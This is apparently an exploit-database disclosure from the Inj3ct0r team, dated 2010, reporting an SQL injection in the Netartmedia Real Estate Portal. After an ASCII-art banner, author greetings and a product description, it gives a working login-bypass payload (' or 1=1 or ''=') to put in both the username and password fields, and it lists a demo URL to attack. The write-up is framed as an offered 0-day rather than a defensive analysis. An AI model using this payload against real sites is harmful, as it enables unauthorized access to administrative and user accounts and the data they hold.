Netartmedia Real Estate Portal SQL Injection

` ==================================================  
Netartmedia Real Estate Portal SQLi Vulnerability  
==================================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm Sid3^effects member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Name : Netartmedia Real Estate Portal SQLi Vulnerability  
Date : june, 28 2010  
Critical Level : HIGH  
Vendor Url : http://www.netartmedia.net/realestate/demo.html  
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr  
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz   
#######################################################################################################  
Description:  
Real Estate Portal allows you to launch powerful and professional looking real estate portals  
with rich functionalities to post properties for sale or rent, search in the database, show featured ads and many others. The private sellers can manage their ads at any time through their personal administration space. The product includes special functionalities for real estate agents (to post and manage multiple ads) and affiliates (to earn commissions from the earnings from property ads posted through their links). Real Estate Portal comes also with a powerful back office application providing full control over the web site (structure management, templates, server side forms, detailed statistics) and the real estate portal (ads, sellers, agents, affiliates, statistics) to the administrators.   
###############################################################################################################  
  
Xploit: SQLi VUlnerability  
  
  
use this sql combo both in username and password ' or 1=1 or ''=' in the login section   
  
DEMO URL : http://www.wscreator.com/realestate20/index.php  
  
###############################################################################################################  
# 0day no more   
# Sid3^effects   
`